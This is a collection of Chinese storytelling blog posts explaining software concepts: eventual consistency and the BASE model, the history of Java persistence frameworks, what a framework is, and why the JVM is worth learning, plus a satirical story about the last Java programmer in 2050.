IO大臣说： “有道理，第一种情况是完全不可用， 第二种只是是部分可用， 郭芙蓉肯定会先让吕秀才转账， 反正100两银子是自己的， 早一点晚一点也没关系。 ”




“对的， 这就是最终一致性，数据虽然在某些时候看起来不一致，吕秀才的钱少了但是郭芙蓉的钱没增加，这个时候钱在消息队列中暂时存着呢。”




“这样做有什么好处？”




“好处很大，对于高并发的场景，转账的时候扣完钱， 向消息队列插入消息，事务就结束了， 根本不用什么两阶段提交， 性能很好。”




“嗯，不错， 我们再来看看一些细节吧。。。。。。”
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  走漏风声





天下没有不透风的墙， JDBC大臣的密探早已潜伏在IO府中好多年了，虽然只是个端茶送水的下人， 但是很多消息都进入了他的耳朵， 然后又进入了JDBC大臣的耳朵。




JDBC大臣找来了JTA大臣前来商议， 为了找一个同盟军和强大的IO大臣对抗， JDBC大臣收买了不干实事的JTA大臣。




“你知道吗？ IO老头儿派人出去调查了， 我估计很快就会像上次那样参我一本。” JDBC大臣忧心忡忡。




“这IO老头儿为啥老是和大人过不去呢， 守好他那一亩三分地多好！”




“人的欲望都是无穷的，再说我这几年确实打压他比较厉害， 不说了，你先看看这张图， 是我们的卧底从IO府中偷出来的。”




JTA大臣抽了一口冷气：“现在民间都这么玩了？ 不用JTA了？ ”




“是啊， 你看他们的方法还不错嘛， 基本可用，最终一致性。真是实践中出真知啊”  JDBC大臣感叹道，他在观察JTA的反应。




“大人， 我建议咱们抢先一步， 明天早朝就把这幅图献给陛下，陛下一高兴，估计就会把这一块儿划给我管了， 不不， 是给你管了。 ”




“这合适吗？”




“无毒不丈夫， 朝中争斗本来就是你死我活的， 大人不可太妇人之心了。”




“好，就这么办。”
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  宫廷激辩





国王已经厌倦了早朝， 厌倦了臣子们在朝中争来争去。




这天出奇的平静， JDBC大臣和IO大臣没有像之前那样争得不可开交， 国王正要宣布 “有事启奏，无事退朝”  ， 一直以来战战兢兢的JTA大臣咳嗽了一声， 发言了 ：




“陛下，臣最近得到一个民间上供的设计图，说是民间用了一种新型办法来处理高并发问题 ”  JTA 一边把偷来的图纸呈上去，一边用余光迅速地扫了一眼IO大臣。




JDBC在一旁添油加火：“陛下，臣也看过这个设计， 觉得非常不错， 建议帝国设立标准推广。”




IO大臣一切都明白了，自己还没有出手，这俩老头儿先下手为强了。




国王自然是看不懂，听到两位大臣都这么肯定， 懒洋洋的说： “爱卿此言不错，这个既然属于分布式事务， JTA大臣，你来领衔把他设计出来。”




IO大臣看准时机，突然出手：“陛下万万不可， 这个设计有重大缺陷啊！”




“什么缺陷？ ” JDBC大臣和IO大臣齐声问道。




IO大臣胸有成竹， 一切尽在计划之中，那个图纸只不过是个小诱饵而已，这两个愚蠢的老头儿果然上钩。




“陛下，请看这个图纸， 吕秀才给郭芙蓉转账的时候，图纸中写的是：”








“我想请问JDBC老头儿， 不， 大臣， 这个事务同时操作了数据库和一个消息队列， 这两个东西是完全不同的， 请问你是怎么实现的？不会还是使用老掉牙的JTA吧”




（码农翻身注： JTA不仅仅可以支持数据库， 只要是支持XA协议的数据源都可以）




JDBC心中大叫不好，中计了！  唉，自己怎么不仔细研究下图纸呢， 这么一个缺陷竟然没有发现， 冒冒失失地献给陛下，真是不可饶恕啊！




可是他不甘心就此失败， 稍一定神，立刻反击： “先不说缺陷问题， 我想问你这个图纸刚才只有陛下看了， 你怎么知道其中内容？！”




IO大臣看到他反咬一口，岂能罢休 ，一不做二不休，干脆撕破脸： “陛下， 这张图纸本来是我府中的InputReader 走遍帝国，遍访民间疾苦画出来的， 我们知道有缺陷， 还没来得及修改，就被他俩给偷了去 ！”




“你血口喷人！”  JDBC和JTA有些心虚了。




“陛下，我已经抓住了偷窃图纸的佣人， 随时可以传唤。”




国王一切都明白了： 这些大臣之间的争斗真是无处不在啊， 每天如此，都不能让我消停一天。




“爱卿，” 国王对IO大臣说， “你先说说怎么解决那个图纸中的缺陷问题吧”




“陛下，其实有很多办法， 比如这一种”  IO大臣从袖中掏出一个图纸，举了起来，让大家都能看到：








“在这里，我们可以添加一个‘事件表’， 转账开始的时候，把吕秀才的100两银子扣除， 同时还向事件表插入一行记录： 需要向郭芙蓉转100两， 由于这两个表是在同一个数据库中，所以直接使用本地事务就行。不用什么分布式事务。”




“你那个定时运行程序干嘛？”  JTA大臣理解力有限




“就是定时运行， 从事件表中取出记录， 向MQ写入消息， 然后把记录的状态改成‘DONE’， 这样下次就不用再去取去处理了。 ”




JDBC大臣很老练： “那你这个定时运行程序也有问题啊， 比如说它读了数据，向消息队列写入了消息， 还没来得及把事件表的status 改为 ‘DONE’ 就崩溃了，等到定时运行程序重启以后，岂不再次读取， 再次向MQ写入消息，这样郭芙蓉不就得到了200两银子，整个系统就不一致了。”




IO大臣心里有点佩服，  这老头儿还是有两把刷子的。 幸亏我和InputReader讨论过各种细节，要不然还真被他给问住， 那在陛下面前就悲催了。
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  幂等性





“其实这里必须得引入一个概念： 幂等性”   IO大臣说




“迷瞪性？ 这是什么东西 ”   JTA大臣大惑不解。




“是幂等性， mi ,四声”     IO大臣对朝中有这样不学无术占据高位的家伙感到很悲哀， “这个幂等性说的是当你对一个事物操作的时候，可以一直重复地操作，那个事物不受影响， 例如对郭芙蓉的账号你查询一千次，一万次，账户余额还是那么多，不会变化。 转账操作就不是一个幂等性操作。 每次操作都会导致账号的变化。”




JDBC大臣也不由地鄙视了下JTA老头儿， 他说：“我明白了，你的意思是说那个定时运行的程序可以出错，可以向消息队列写入多次 ‘给郭芙蓉账号增加100两银子’ 这样的消息， 但是郭芙蓉那边在执行的时候， 肯定也要判断之前是否执行过了， 如果没有的话就增加， 如果执行过了就简单的抛弃这个消息即可。 ”




IO大臣向JDBC大臣投去了佩服的目光， 两人目光相遇， 碰出来了惺惺相惜的火花。




“唉， 我要是早点和JDBC/IO大臣合作多好”  两个人都在暗自吃后悔药。




IO大臣说： “是的， 郭芙蓉那边在判断是否已经执行过的时候，也需要查询之前的执行记录， 这就意味着之前执行过的也需要用一个表保存下来才行。”




“众位爱卿， 看来已经讨论得差不多了， 接下来怎么办啊？”




没人出声。




“那要不这样， 既然是民间先做出来的东西， 我们官方就不用去凑热闹了， 让他们自生自灭吧”  国王祭出了“无为而治” 的大法， 其实他实在不想再调停这几个大臣之间的争斗了。




IO大臣想发言却又忍住了，经过这一番较量， 他看清楚了各位大臣的实力， 也理解了国王的苦衷， 如果再这么争斗下去陛下估计会龙颜大怒， 算了，不争了。




傻傻的JTA大臣还不死心， 一直给JDBC大臣使眼色，只是JDBC大臣心中打定了和IO大臣一样的主意，微闭双眼开始养神了。




IO大臣心情平静地回到家中， 幕僚们围上来询问结果， 他们还做着升官发财的美梦。




IO大臣看着这些急于知道结果而显得特别饥渴的表情， 笑着摆了摆手， 一言不发地离开了。




很久以后，朝中得知民间有个叫做Dan Pritchet的人， 把这种方法总结了一下，称之为BASE模型， 从此流行开来。






你看到的只是冰山一角， 更多精彩文章，请移步《码农翻身2016文章精华》或者《码农翻身2017上半年文章精华》
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                    当世界上只剩下一个Java程序员

                                                                                

                    

                    

                    
                    
                    


公元2050年，世界上只剩下了一个Java程序员。




你可能要问了，别的人都去哪儿了？   原因很简单， Java 没落了。




大约在2030年左右， 出现了一个叫做X的语言，它既能做系统级开发（操作系统、数据库、编译器）， 也能做服务器端的开发，手机端，Web端都不在话下。




更为重要的是， 这个新的编程语言和人类的自然语言很接近，无论大人小孩，稍微一学， 很快就可以来编程。 于是排名前100的语言统统消失了， 程序员们都失业了。




Java 也不例外，这个昔日的霸主在留下了一堆庞大而复杂的系统以后就不见了。




Java 程序员越来越少，最后世界上只剩下了这个唯一的铁杆粉丝。




他抱着Java 不放， 打死也不用X 语言，  找不到工作， 只能断断续续地帮助人家维护一些古老的Java系统， 收入很不稳定，  生活愈发窘迫 。




这个Java铁杆经常到中关村软件园的湖心酒吧去喝酒，说是喝酒，其实是怀旧。





围绕着湖的一圈建筑都是著名的IT公司，这里曾经是中国软件和互联网的中心， 无数的码农浩浩荡荡地从西二旗地铁出站， 来到这里奋斗。




中午时分，吃过午饭的码农会到这里聊天散步，互通有无，看看哪家适合跳槽。




现在这里真的变成了一个公园了，曾经熙熙攘攘的人群已经消失，只剩下了漂亮的风景， 显得有些落寞。




Java 铁杆一边喝着最便宜的啤酒，一边回顾那美好的旧日子。 时不时看看手机上有没有Java维护的工作来找他做。




旁边的几个年轻的同学在笑着聊天，不知道怎么着就聊到了程序员的话题。　




同学甲说：“你们知道吗， 我爷爷告诉我，这地方原来是这码农聚集地，他们每天都用什么Java, Python , PHP, Javascfipt 等语言来写程序， 采用996工作制。”




“天哪？！ 每天早上9点上班，晚上9点下班，每周工作6天， 真是惨无人道啊！”




Java 铁杆听了心里冷冷一笑， 996算什么啊， 老子当年连续一年，每天都是凌晨1点回家，第二天早上8点上班。




同学乙问道：“为什么加班啊， 编程不是很容易吗， 用X语言对电脑一说不就行了吗？”




“那是现在，我问过我爷爷，爷爷说他们当时用的语言太低级了， 距离自然语言差得太远， 人类的语句话翻译成Java都得写很长很长才行”




同学丙说： “ 我还见过当时最流行的Java 呢， 绝对的老古董，我给你说啊， 我在国家图书馆的一个角落里翻过一本布满灰尘的书，叫《Head First Java》, 看着里边用Java写的程序，就像看二进制0101001一样痛苦，我真是同情我们的前辈啊, 到底是怎么学会Java 的。 ”




Java铁杆百感交集，也想起来自己年轻时学习Java的时光， 集合，反射，IO, 泛型，线程还有各种框架，每个技术点都花费了大量的心血啊。




同学丁说： “这还不算， 你想啊，不能用自然语言来编程， 一旦功能描述错了， 得修改无数的代码，实在是太可怕了。”




Java 铁杆心说不错， 当年自己和产品经理，项目经理，客户为了需求的确定，争吵了多少次啊。




“对了，我听说还有个家伙死守着Java 不放， 现在是世界上唯一的Java程序员了， 哈哈”




现场爆发出一阵大笑。




Java 铁杆有点恼怒： “小朋友， 你们了解Java吗， 知道Java是怎么回事吗， 那可是世界上最流行的语言。”




“不就是个老古董嘛！”




“老古董？  我告诉你， 这Java当时可养活了很多人啊， 很有可能就包括你的爷爷。”




同学甲说： “前辈，要不你给我们聊聊？”




Java 铁杆有了听众， 来了兴致， 开始滔滔不绝 ： “这Java啊可是世界上最早的可以跨平台的编程语言，它不仅可以做Web开发，还可以做Android端开发， 大数据开发。不比你们现在的X语言差多少。 只是那时候写程序可不容易了，得了解很多的细节才行， 写出来还不一定对， 还得努力调试。非常累人。  ”




“你要是想当一个好的程序员，还得学习各种计算机基础知识，像什么数据结构、操作系统、 计算机网络、数据库、 编译原理等等。 我现在家里还保留着很多当时的书呢， 欢迎你们去参观。 ”




大家纷纷感慨说这程序员真不是人干的活。




“这还不算， IT界每隔4-5年就会出现新的技术， 像移动互联网、大数据、云计算、人工智能， 你得不停地学习才行， 要不然就被时代抛弃了。”




大家再次感慨说要是让我当程序员我就不活了。




"前辈，那你怎么不与时俱进地学习X语言呢？"  有人问到。




“你怎么知道我没有学习呢， 那些新技术我都学了，比如这X语言吧， 其实对你们来说挺合适的，轻轻松松就把程序写出来了，哦不，说出来了。 但是对我来说，Ｘ语言和自然语言差不多，一点美感都没有！　我还是喜欢我们那个时候的好东西，像架构了， 面向对象了，设计模式了，　对了你们听说过设计模式吗？　”




大家面面相觑，完全不知道这是什么意思。　




“设计模式嘛，就是大家设计经验的总结，一共有23种，在我看来都非常优雅，要不我教你个最简单的单例模式吧，一共有７种写法，很有意思。”




大家纷纷摇头，拒绝老古董。　




“我们那时候，很多软件都写得非常的漂亮和优雅，充满了美感。不像现在的X语言， 就是自然语言的堆砌而已，实在丑陋。  我为什么抱着Java 不放，就是一直要欣赏这种美感啊。”




“奥，原来这样啊， 你就是那个唯一的Java 程序员吧。”




Java 铁杆笑着点点头，这时候手机响了，Java 铁杆把手机的全息屏幕打开，酒吧里的人都看到了这个信息：




四十大盗公司 招聘程序员

我公司50年前的核心系统需要继续维护，诚招Java工程师，年龄不限。

要求：

会Java SE

懂Servlet 和 JSP

知道 Spring, Struts, Hibernate , MyBatis

听说过设计模式的优先。




一旦录用，待遇从优，豪车别墅起步。




这个Java铁杆突然老泪纵横：“这个公司我年轻时就想加入，可是水平一直不够， 人家不要我， 现在我的机会终于来了！ 再会了各位，我应聘去了。 ”




你看到的只是冰山一角， 更多精彩文章，请移步《码农翻身2016文章精华》或者《码农翻身2017上半年文章精华》




有心得想和大家分享？ 欢迎投稿 ！ 我的联系方式：微信：liuxinlehan  QQ: 3340792577
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用故事讲述技术

















                    
                    
                    持久化：Java帝国反击战

                                                                                

                    

                    

                    
                    
                    


1



  断电的威胁





强大的Java帝国自成立一来， 一直顺风顺水， 可是外人不知道的是，帝国也有个致命的弱点， 那就是害怕一种叫做“断电”的攻击。 





每次攻击来临， 帝国辛辛苦苦制造出Java对象都会瞬间死亡， 变成孤魂野鬼，在电脑里四处游荡，最终悄无声息地消失在空气中。




这是没有办法的事情， 帝国生存所依仗的Java对象都必须在内存中才能工作， 而内存最怕“断电” ！




这件事情变成了国王的一件心病，茶不思饭不想。




某日朝会， 国王又把这个难题抛给了下面战战兢兢的各位大臣。




线程大臣说： “大王， 我们能不能跳过内存，直接使用硬盘来操作Java对象？”




IO大臣最近压力最大，已经好几天没合眼了：“不懂别瞎BB，你知道硬盘有多慢吗，比内存慢几万甚至10几万倍， 用硬盘怎么干活？还有人类的冯诺依曼体系要求了，数据必须在内存中CPU才能操作。 ”




线程大臣脑洞打开：“要是发明一个硬盘，容量无限大，速度和CPU一样，那CPU不就直接操作硬盘了，还要内存干什么？！”




国王叹了口气： “别吵了，谁要是发明一个这样的硬盘，我会授予他100次Java帝国诺贝尔奖！  你们知道人类的摩尔定律吗？集成电路上的晶体管每隔18个月便会增加一倍， 性能也会提升一倍。可是这硬盘不行啊， 就像手机上的电池一样，一直以来都像老牛拉破车，慢慢吞吞地在发展，这么多年都没有重大的突破。”




IO大臣说：“ 大王不用灰心， 臣最近想出了一个办法，叫做序列化， 可以把内存中那些重要的对象转化为二进制文件存储到硬盘上，这样就不怕断电了”




“等到电力恢复以后，还能再让他们回到内存吗？”




“那是自然， 我们可以反序列化，把二进制文件变成Java对象，继续在内存中干活。”




国王大喜，颁布命令，要求臣民们都必须学会IO大臣发明的序列化。
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  数据库联合酋长国





序列化虽然解决了一部分问题， 但是臣民们很快发现了它的弱点： 效率低。 




Java对象少的时候还行，如果需要大规模地对Java对象进行存储、查询的时候那几乎不能用。 比如说想选取 age > 28的所有Person对象， 那就得把所有序列化的Person 对象都装入内存， 一个个的比较年龄， 这实在是太费劲了。 




IO大臣这次也辙了， 只好建议国王去国外考察，看看人家遇到这个问题是怎么解决的。 




国王放下高傲的身段， 派出了多个使团，分别出访了C++,  Python, Ruby, C#... 等王国。 




一个月后，使团陆续返回，带回的消息惊人得一致：  使用关系数据库存储大规模数据。 




“关系数据库？ ”  国王听说过这个东西，在Java帝国东边的大海上，有一个叫做数据库的岛屿，那里有几个很大的部落，好像有什么Oracle,  Db2, SQLServer ,MySql 之类， 他们组成了一个联合酋长国。




IO大臣说： “关系数据库就是用类似二维表格的方式来存储数据，臣听说他们从70年代末开始就开始发展， 由于有强大的理论基础，像什么关系代数，关系演算， 现在发展的非常成熟，可以进行大规模的数据存储和查询，还可以支持我们梦寐以求的事务操作呢。 奥对了，他们搞出了一个叫SQL的东西，屏蔽了具体的实现细节和各个数据库之间的差异。”




线程大臣还在记恨IO大臣一个月前的讽刺，马上柔中带刚，皮笑肉不笑地甩出一个炸弹： “这个酋长国看起来挺好啊， 只是IO大臣提到他们用二维表格的方式来存储数据， 而我们这里是Java对象，好像不太匹配啊。”




国王上钩，向IO大臣发难： “ 一个是表格的行和列，一个是对象的属性， 我们怎么把对象存储到表格中？”




IO大臣胸有成竹地说： “这需要我们的臣民自己写代码，把对象属性变成数据库的行/列， 人家别的王国都是这么干的， 这种办法还有一个很好听的名称叫Object-Relational Mapping， 只是现在这种Mapping 需要我们手工来做罢了，  你要想大规模的查询和存储数据，总不能一点代价都不付出吧。 ”




国王说： "那就这么办吧， IO大臣，你去负责和数据库联合酋长国谈判，让他们和我们Java帝国协调一个接口出来，名称就叫......"




IO大臣马上接口： “Java Database Connectivity ，简称JDBC，如何？”




“好！ 就用这个名称， 你去谈判一定要坚守住帝国的底线， 那就是我们只负责定义接口， 具体的JDBC实现必须由各个数据库去提供！   你要是搞不定，就别回来见我。 退朝！”
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  表面风光的EJB





半年以后，Java帝国和数据库联合酋长国就JDBC达成一致，双方签署了正式的协议， 帝国的臣民们欢欣鼓舞， 纷纷开始使用JDBC作为持久化的工具。 




可是这JDBC的劣势也很明显： 这是一个非常“低级”的接口， 程序员需要处理太多的细节， 冗余代码太多，写个简单的查询就得一大堆代码伺候，打开connection，创建statement, 执行sql, 遍历resultset, 还得记住关闭connection，要不然会资源泄露......




此时Java帝国正准备向企业级应用进军，  需要支持安全，事务，分布式、可伸缩性，高可用性.....等高级功能， 这些脏活累活操作系统不想做， 应用程序也不想干，那到底扔给谁呢？




帝国一合计，提出了一个令人耳目一新的概念： 中间件(middleware )  , 专门负责底层操作系统和上层应用程序都不愿意做的事情。 




帝国充分发挥了制定标准的特长， 搞了一套J2EE的规范出来，其中包罗万象，涵盖了大部分企业开发的需求， 把通用的，复杂的服务交给中间件提供商去搞定， 让开发人员集中在业务逻辑的开发上。 




这其中有个标准就是EJB, 帝国大肆宣传： 只要使用了EJB, 再也不用写那些烦人的JDBC代码了，数据的创建，读取，甚至查询都可以用面向对象的风格搞定。 更牛的是这些EJB实例可以在一个集群上分布式运行。 




在Websphere, Weblogic, Jboss等应用服务器的支持和鼓噪下，J2EE在初期热度非凡， 帝国横扫企业级市场，别的王国只有看热闹的份。 




Java帝国的臣民们享受着外界羡慕的目光，骄傲地使用EJB进行开发，然后扔到应用服务器中执行。 




但是其中的辛苦和委屈只有自己知道： 开发繁琐，难于测试，性能低下，除了表面的风光，已经剩不下什么了。
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  轻量级O/R Mapping框架





2001年，帝国有个叫Gavin King的，终于无法忍受金玉其外败絮其中的EJB,  自己偷偷另起炉灶，搞了一个O/R Mapping的框架出来， 名称很有意思，叫做Hibernate。  




冬眠？ 好像到了冬天让内存的数据进入数据库冬眠，  春天来了从冬眠中醒来，再次进入内存工作。 




Gavin宣称使用Hibernate ，你可以把Java 的属性用声明的方式映射到数据库表， 完全不用你操心connection, sql 这些细节。 




帝国刚开始没在意，觉得这就是个玩具，哪能和强大的EJB相比？  




好东西永远都不缺市场，一传十、十传百，Hibernate很快成了气候， 使用简单、灵活，特别是脱离了那些庞大，昂贵的Websphere, weblogic容器也能使用。 一下子捕获了很多臣民的心。




同年另外一个叫做iBatis的O/R Mapping框架也出现了， 又拉走了一大批EJB臣民。




2004年 Rod Johnson 给了EJB以致命一击， 他写了一本《Expert One-on-One J2EE Development without EJB 》 ， 公然宣扬不使用EJB， 而要使用更加轻量级的框架，也就是他鼓捣出的Spring。




帝国宣称这是一本禁书，禁止出版发行。可是人的意志总是挡不住历史的潮流， 抛弃重量级的EJB, 使用更加轻量级的Spring成了大势所趋。




这个Spring 不但自己提供了轻量级的访问数据库的方法JDBCTemplate, 还能轻松的集成Hibernate， iBatis 等一批工具。慢慢的竟然成为了事实的标准， 在帝国流行开来。
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 帝国的反击





在一次早朝上IO大臣简直是气急败坏了：“陛下，再不禁止Spring ,Hibernate ,iBatis的使用， 我们的EJB就要被抛弃了。”




国王说： “你禁止得了吗，上次你禁止Rod的那本书，民间的小抄还不是疯狂流行？  最近的起义风起云涌，按下葫芦浮起瓢，扑灭了这个，那个又起来了。倒不如任他们去，毕竟也大大地繁荣了我们Java帝国啊”




线程大臣立刻拍马屁： “陛下的心胸真是如同大海般广阔，不过臣倒有一计， 既然官方EJB标准抵不过Hibernate的事实标准， 我们要不就把Gavin King 招安了算了，为我所用。”




国王表示赞同，命令线程大臣负责招安以及后续工作。




Gavin 之前已经加入JBoss部落，现在代表JBoss正式进入JCP,也算是被招安了。 他早就有改造官方标准的雄心壮志， 带领着帝国的EJB团队推出了EJB3.0 ， 成功地向Hibernate 看齐， 其中有些注解简直一模一样,极大的简化了开发。   各大厂商重新开始摇旗呐喊，为EJB3.0站台背书。




只是这个EJB3.0有个致命缺陷： 没法离开容器（Websphere, weblogic ,JBoss等）运行，  臣民们已经适应了轻量级开发， 已经抛弃了重量级的应用服务器，在Spring 的带领下，他们再也不需要一个容器来运行EJB了，   帝国的这次声势浩大的反击战被化于无形。




不过在EJB3.0中悄悄埋下了一个副产品，叫做Java Persistence API(JPA), 充分地反应了帝国的小算盘， 既然我在实现层面无法打败你们，那我就制定我最擅长的标准， 用标准整合O/R Mapping,  一统天下, 唯我独尊！




在帝国的力推之下， Hibernate , EclipseLink ，OpenJPA等知名产品都提供了针对JPA的实现， 可是帝国的官员们悲哀地发现： 现在臣民们又爱上了写SQL语句的MyBatis,   唉，这民意真是难以琢磨啊。




国王最终决定改换策略，无为而治，放下官方的架子，只要是有利于帝国的，不再阻碍， 任其发展，趁机招安。




帝国反击战就此落幕，持久化工具之战以民间的最终胜利告终。







（完）




相关文章：

小李的数据库之旅 -- 数据库最基本原理

小李的数据库之旅（下）

JDBC的诞生

一个不安分的JDBC驱动--数据库连接池的故事

张大胖学数据库--范式的故事

数据库村的旺财和小王--数据库隔离级别的故事

序列化：一个老家伙的咸鱼翻身
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                    什么是框架？

                                                                                

                    

                    

                    
                    
                    张大胖立志走上Java之路， 听了大神Bill的指点， 先学了Java SE, 把集合、线程、反射、IO、泛型、注解之类的基础知识学了一遍， 在Bill的严厉督促下，写了大量的代码。





然后开始学Web基础，什么Http, html, javascript , css , servlet, jsp , tomcat ...... 又是一大堆知识点。 他在网上找了一个小网站， 自己模拟着做了一下， 虽然不是专业美工， 界面惨不忍睹， 但总算是把功能模仿了七七八八， 很有成就感。




大胖拿去给Bill 看了， Bill 夸奖道： “嗯，功能实现的还可以， 没有用任何框架能做成这样子， 很不错。 ”




大胖说： “框架？  什么是框架？”




Bill 愣了一下： “ 你还突然把我给问住了， 我们整天开口框架，闭口框架， 现在让我给框架下个定义， 我还真说不出来， 让我想想。 ”




Bill 闭目养神， 大胖虔诚等待。




不到一炷香功夫， Bill睁开眼睛：“ 我来给你举个例子， 你不是刚刚用servlet和jsp做了小的Web项目吗， 假设有人出钱让你再做一个类似的系统，你会怎么办？”




“那我就把现在的代码复制一下， 在上面改改， 不就得了？ ”




“如果有十个八个类似这样的项目呢， 难道你都通过复制粘贴来做吗？” Bill 问




“十个八个？ 我还是跳楼去吧。  ”




“那你没有想想把其中重复的一些东西抽取出来， 形成可以复用的东西？”




张大胖说： “ 听你这么说，还真的有一点可以复用的东西， 比方说URL和业务代码的映射， 我经常会遇到类似这样的 url：  www.xxx.com?action=login ， 在后台的servlet 中我就判断，  如果action 的名称是login ,   我就把userName, password 这样的参数从表单中提取出来， 执行登录的代码。  我得写很多的if else 才能支持不同的业务逻辑， 很折磨人。 有时候我就想， 要是有一种方法， 能够直接把URL和Java类直接映射起来就好了 ，  这样就轻松多了！”




“没错，这是一个很好的想法， 还有吗？ ” Bill 笑着问。




“嗯。。。 再比如数据验证啊，比如登录时用户名或者密码出错， 我要在浏览器端显示错误提示信息，这个也很难搞啊， 错误提示的字体、颜色、图标、位置太烦人了。”




“还有吗？”




“对了，访问数据库也是个大问题， 我写了很多的SQL, 很多的JDBC 代码, 仅仅是为了把数据从数据库取出来， 放到Java 对象中去。 你肯定知道，直接用JDBC编程得处理很多细节问题：一定要记住关闭连接了， 处理异常了 。。。等等， 不瞒你说，很多代码都是我复制粘贴的。”




“难道你不能写一个通用的类， 传入SQL，返回结果集吗？ ”  Bill 问道。




“那我肯定是写了， 但是把结果集变成Java 对象还有一段很长的路呢， 没啥技术含量， 纯粹体力活， 怪不得人家叫我们码农！ ”  大胖愤愤的说。




Bill 说： “我刚才翻了翻你的代码， 我发现很多的地方都让人不爽啊， 比如你几乎把所有的业务逻辑都写到Servlet当中去了， 中间还掺杂者页面控制和跳转， 这么乱七八糟像意大利面条一样的代码过了一个月估计你自己都看不明白了。 ”




大胖不好意思的笑了： “不用一个月，  这刚过了一个星期我就犯晕了。”




“所以嘛， 其实你这些问题我们的前辈早就遇到了， 他们也苦苦探索， 不断寻找好的实现方式， 找到以后就把各种经验给固化下来， 称为最佳实践。”




“最佳实践？  能举个例子嘛！”




“比如在Web开发中就有一个很好的实践啊，叫做MVC。  就是针对你上面的业务逻辑和页面控制混在一起提出的解决办法。 这个实践会强烈的建议你把数据模型、页面展示、页面跳转控制分开来写， 防止搅成一团。”  




Bill意犹未尽， 继续举例： “再比如你说的第一个问题， 也早就有解决方案了， 可以利用XML或者Java注解来描述URL和Java 类之间的关系，你只需要声明一下， 背后的操作，都交由框架去处理了。  还有你的Java 对象和数据库表的对应关系， 也只需要声明一下，框架就可以帮你把数据取出来，填充到Java对象中去，这就极大的减轻了你的工作量。”




“Bill,   你又提到框架这个词了，可不可以这么说， 框架就像一个模板， 里边已经预置了一些公认的最佳实践，我要是想用的话， 把我项目相关的东西填充进去就可以了，是不是这样？ ”




“可以这么理解， 框架像个半成品， 是无法独立运行的，必须由开发人员按照它定义的规则，把项目的代码放置到指定的地方， 由框架整合起来，这才是一个完整的应用程序。”




大胖挠着头说： “那框架其实也没什么啊， 我只要理解了那些最佳实践， 掌握了它的规则，可不就学会了吗?”




“没错， 现在很多Java Web系统都是基于像SpringMVC,  Hibernate, MyBatis这样的流行框架构造起来的，  框架不得不学， 但是如果只会使用框架， 只会填充代码， 那只是一个HTML填空人员。”




“那我学完了框架，可以用框架做项目了， 接下来学什么？” 大胖心里有点没底。




“你要是对Java 后端编程感兴趣， 还有很多东西啊， 用框架实现了业务只是很小一块， 还有系统架构设计， 缓存、性能、高可用性、分布式、安全、备份等很多内容啊， 你学的越多，就会发现无知的领域更多， 所谓学无止境啊！”




张大胖目视远方，沉默了。。。。。
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                    学习Java虚拟机没用？ 听听当事人是怎么说的！

                                                                                

                    

                    

                    
                    
                    我是大名鼎鼎的Java 虚拟机，  据说这个星球上每天有900多万程序员和我打交道，这真是一个惊人的数字。 这900多万人中不少人对我的技术内幕非常感兴趣， 有事儿没事儿都要把我“大卸八块”， 深入了解一下。甚至还有人从我的出生地--源代码--开始看起，弄得人家连一点隐私都没有了。




当然也有很多人对我的运行机理爱理不理， 理由很简单： Java虚拟机相关的事情只有在面试时才会问道，背诵一下那些垃圾回收算法，应付过去就可以了！




真的是这样吗？  面试官为什么喜欢问JVM原理？ 难道他们没什么可问的了？ 或者是只是为了展示他们的卓尔不群？ 高人一等？压你一头？




我想都不是，  请注意一下我的名字： Java虚拟机，  我是一个虚拟机啊！




虽然不是像VMWare， VirtualBox那样可以完全虚拟出一个包括内存，硬盘，CPU的硬件计算机出来， 我至少也是个Soft CPU啊， 有自己的指令集，有自己独有的可执行文件格式， 有自己独特的基于栈而不是寄存器的执行方式，还有那久经考验的垃圾回收机制......




作为一个口口声声说热爱编程，立志有写出伟大软件来改变世界的程序员， 少年， 难道你竟然对这么有趣的东西视而不见？




对软件技术的好奇心是你最终成为伟大程序员的第一驱动力， 如果你对技术不愿意深究， 不愿意了解背后的原理，如果你不愿意像一个调皮捣蛋的熊孩子那样把一个玩具变成零件，然后再组装起来（嗯， 实际上永远都组装不起来了） ， 我真的怀疑你在这个行业能呆多久，走多远。




我刚才提到了有趣， 那真的有用吗？




表面上看是没有用处的，至少短期看来是没有用处的， 你写程序，运行程序，然后吃饭，睡觉。




管你什么基于栈的虚拟机，什么方法区，堆， 垃圾回收，  生活很美好，世界也很大， 我想去看看， 不要用这些烦心事来烦我。

如果你想一直生活在软件开发的表层， 那肯定是没有问题的， 如果你想像Neo那样，把这个世界看个清清楚楚，明明白白，真真切切， 就需要修炼一下内力， 做为Java 程序员， 理解Java虚拟机就是那个扎马步的基本功。




举个例子， 理解Class 文件格式， 就能理解ASM是怎么在运行时“艰难的”动态生成字节码的， 然后就会知道CGLib是怎么改善它， 让它容易使用的。  而CGLib可是Spring AOP赖以生存的一大基础啊。 这一路走来，是不是对AOP的理解更加透彻了？




你脑海中甚至能想象出来字节码怎么被动态的创建，被Classloader 加载， 形成新的Class,   然后对你的业务类进行拦截的过程。

看透世界的感觉不要太爽，    如果你非要说我会用Spring 的AOP就行了， 那我也没办法， 人各有志嘛。




扩展一下， 现在我的家中上入住了不少动态语言， Jython, JRuby , Clojure , Scala 等等， 他们可都需要动态的生成字节码来运行啊（码农翻身备注： Scala 也可以直接编译成class 文件）， 你看看理解了Class 文件格式得有多大的好处。




还有啊， 理解了一些重要的字节码指令以后，你就会知道所谓的面向对象， 尤其是你写的那些个漂亮的OO代码， 在我这里已经“退化”成函数调用了， 不知道你会不会沮丧， 但是没有办法， 咱们计算机的本质就是这样，顺序，循环，分支， 函数调用。 作为补偿， 我会让你了解多态的秘密， 这可是很多面向对象语言的基础。




说到函数调用， 你写的Java程序在运行时会形成的栈帧， 这可真是一个超级重要的概念， 不仅在我这里有，物理CPU和内存在运行本地代码的时候也有，虽然我和他们的结构不同， 但都是为了完成一个目的：  表达一个函数在运行时的结构。




了解了这个家伙， 你就知道函数在机器级是怎么调用的， 参数是怎么传递的， 递归是怎么回事， 尾递归是怎么回事（我竟然不支持！） 。  也许你会跑去看看汇编， 去看看缓冲区溢出攻击， 各种知识点开始连接，形成一张大网，这种感觉是极爽的。




这样的例子我还可以举出很多，但是估计很多人已经不耐烦了，就此打住。




你们人类说计算机是门科学， 但是科学的成分在哪里呢？  在我看来更像一门工程或者技术，  核心的基础概念真的不多， 花点功夫把他们掌握了，受益终生。




前些天我偷偷地阅读了你们的小说《天龙八部》， 里边的扫地僧可真是厉害， 轻轻松松就把慕容博和萧远山两位绝顶高手制得服服帖帖，老老实实， 这说明的什么问题？ 内功的修炼真是很重要啊。
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                    聊聊Java 平台上的非Java语言

